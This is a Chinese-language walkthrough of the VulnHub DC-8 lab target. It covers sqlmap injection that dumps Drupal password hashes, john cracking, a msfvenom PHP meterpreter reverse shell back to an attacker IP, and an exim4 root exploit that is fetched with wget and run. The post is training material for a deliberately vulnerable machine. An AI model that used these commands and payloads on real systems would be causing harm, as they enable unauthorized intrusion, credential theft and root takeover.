VulnHub靶机 DC-8 打靶实战 详细渗透过程

2024-04-24 09:20

本文主要是介绍VulnHub靶机 DC-8 打靶实战 详细渗透过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub靶机 DC-8 打靶 详细渗透过程

目录

  • VulnHub靶机 DC-8 打靶 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试流程
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登录后台
        • 反弹shell
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-8,367/

image-20240423222428354

二、渗透测试流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

arp-scan -l

image-20240423223107919

端口扫描

nmap -p- 192.168.0.105

image-20240423223230955

开放了80端口和22端口,详细探测一下服务信息

nmap -p80 -sV -A 192.168.0.105

image-20240423223412730

探测一下指纹信息:

whatweb http://192.168.0.105

image-20240423223453030

Web渗透

SQL注入

访问web界面,通过上述信息收集加插件,得到以下信息,采用Drupal CMS,版本为Drupal 7

image-20240423223620216

点击左侧,发现url当中出现id参数变化,尝试sql注入

url:http://192.168.0.105/?nid=1

image-20240423223824333

sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs

image-20240423224112264

当前数据库d7db,但不是dba

image-20240423224132681

查看数据库当中的表信息,还有表中的内容

//爆数据表
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
//查看表中数据字段
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
//爆字段数据
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump

d7db数据库当中的users数据表

image-20240423224347637

d7db数据库当中的users数据表,查看表中字段内容

image-20240423224513567

成功查询用户名和密码,将密码保存到记事本当中进行破解

image-20240423224609984

登录后台

根据用户名当中提示信息john,使用john进行hash密码破解

将密码保存到文本文件当中,john破解即可

image-20240423231749154

john 1.txt
//admin破解失败,john破解成功
//用户名和密码
john
turtle 
dirsearch -u http://192.168.0.105/ -i 200

通过目录爆破后,成功找到后台并进入

image-20240423230422657

成功进入后台

image-20240423231920692

反弹shell

找到可代码执行的地方,或者可以输入代码的地方,尝试输入,保存即可。

这里还可以使用msf生成php反弹shell脚本,放入其中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw

将代码放入其中

image-20240423233442210

image-20240423234717871

然后返回提交以后才能执行代码,msf开启监听即可接受到shell

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

image-20240423233920492

成功接收shell,www-data普通权限

image-20240423234416644

获取稳定shell,查看目录下有无有价值信息,发现没有

python -c "import pty;pty.spawn('/bin/bash')"

image-20240423234905116

提权

查找系统下suid权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20240423235020352

查看一下exim4版本信息

image-20240423235700466

搜索相关漏洞,进行利用

searchsploit exim 4

找到版本相近的问题

image-20240423235753917

将其拷贝到本地,发现靶机有wget命令,那么可以通过wget进行下载,本地通过python开启一个http服务

//拷贝脚本
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
//本地开启http服务
python -m http.server 8080

image-20240424000040857

到靶机端进行下载exp.sh即可

wget http://192.168.0.106:8080/exp.sh

image-20240424000153773

image-20240424000211403

赋予执行权限,执行一下

chmod 755 exp.sh
./exp.sh
或bash exp.sh

image-20240424000345193

查看源码,需要带参数

image-20240424000810975

image-20240424000716975

或者我们直接敲上 -h查看帮助的参数

./exp.sh -h

发现得加参数,依次尝试即可

image-20240424000432623

./exp.sh -m setuid 失败
./exp.sh -m netcat

./exp.sh -m netcat 成功提权

image-20240424000529168

image-20240424000617527

思路:

主机发现—端口扫描—服务探针—指纹识别—发现注入点—web渗透SQL注入—获取用户名密码—登入后台—发现可加载PHP代码输入PHP代码—反弹shell—提权—exim4漏洞利用

文章不妥之处,欢迎批评指正!!!

这篇关于VulnHub靶机 DC-8 打靶实战 详细渗透过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/931353

相关文章

Python版本信息获取方法详解与实战

《Python版本信息获取方法详解与实战》在Python开发中,获取Python版本号是调试、兼容性检查和版本控制的重要基础操作,本文详细介绍了如何使用sys和platform模块获取Python的主... 目录1. python版本号获取基础2. 使用sys模块获取版本信息2.1 sys模块概述2.1.1

Redis中Hash从使用过程到原理说明

《Redis中Hash从使用过程到原理说明》RedisHash结构用于存储字段-值对,适合对象数据,支持HSET、HGET等命令,采用ziplist或hashtable编码,通过渐进式rehash优化... 目录一、开篇:Hash就像超市的货架二、Hash的基本使用1. 常用命令示例2. Java操作示例三

Redis中Set结构使用过程与原理说明

《Redis中Set结构使用过程与原理说明》本文解析了RedisSet数据结构,涵盖其基本操作(如添加、查找)、集合运算(交并差)、底层实现(intset与hashtable自动切换机制)、典型应用场... 目录开篇:从购物车到Redis Set一、Redis Set的基本操作1.1 编程常用命令1.2 集

Linux下利用select实现串口数据读取过程

《Linux下利用select实现串口数据读取过程》文章介绍Linux中使用select、poll或epoll实现串口数据读取,通过I/O多路复用机制在数据到达时触发读取,避免持续轮询,示例代码展示设... 目录示例代码(使用select实现)代码解释总结在 linux 系统里,我们可以借助 select、

k8s中实现mysql主备过程详解

《k8s中实现mysql主备过程详解》文章讲解了在K8s中使用StatefulSet部署MySQL主备架构,包含NFS安装、storageClass配置、MySQL部署及同步检查步骤,确保主备数据一致... 目录一、k8s中实现mysql主备1.1 环境信息1.2 部署nfs-provisioner1.2.

Python爬虫HTTPS使用requests,httpx,aiohttp实战中的证书异步等问题

《Python爬虫HTTPS使用requests,httpx,aiohttp实战中的证书异步等问题》在爬虫工程里,“HTTPS”是绕不开的话题,HTTPS为传输加密提供保护,同时也给爬虫带来证书校验、... 目录一、核心问题与优先级检查(先问三件事)二、基础示例:requests 与证书处理三、高并发选型:

Python中isinstance()函数原理解释及详细用法示例

《Python中isinstance()函数原理解释及详细用法示例》isinstance()是Python内置的一个非常有用的函数,用于检查一个对象是否属于指定的类型或类型元组中的某一个类型,它是Py... 目录python中isinstance()函数原理解释及详细用法指南一、isinstance()函数

Python的pandas库基础知识超详细教程

《Python的pandas库基础知识超详细教程》Pandas是Python数据处理核心库,提供Series和DataFrame结构,支持CSV/Excel/SQL等数据源导入及清洗、合并、统计等功能... 目录一、配置环境二、序列和数据表2.1 初始化2.2  获取数值2.3 获取索引2.4 索引取内容2

uni-app小程序项目中实现前端图片压缩实现方式(附详细代码)

《uni-app小程序项目中实现前端图片压缩实现方式(附详细代码)》在uni-app开发中,文件上传和图片处理是很常见的需求,但也经常会遇到各种问题,下面:本文主要介绍uni-app小程序项目中实... 目录方式一:使用<canvas>实现图片压缩(推荐,兼容性好)示例代码(小程序平台):方式二:使用uni

Python屏幕抓取和录制的详细代码示例

《Python屏幕抓取和录制的详细代码示例》随着现代计算机性能的提高和网络速度的加快,越来越多的用户需要对他们的屏幕进行录制,:本文主要介绍Python屏幕抓取和录制的相关资料,需要的朋友可以参考... 目录一、常用 python 屏幕抓取库二、pyautogui 截屏示例三、mss 高性能截图四、Pill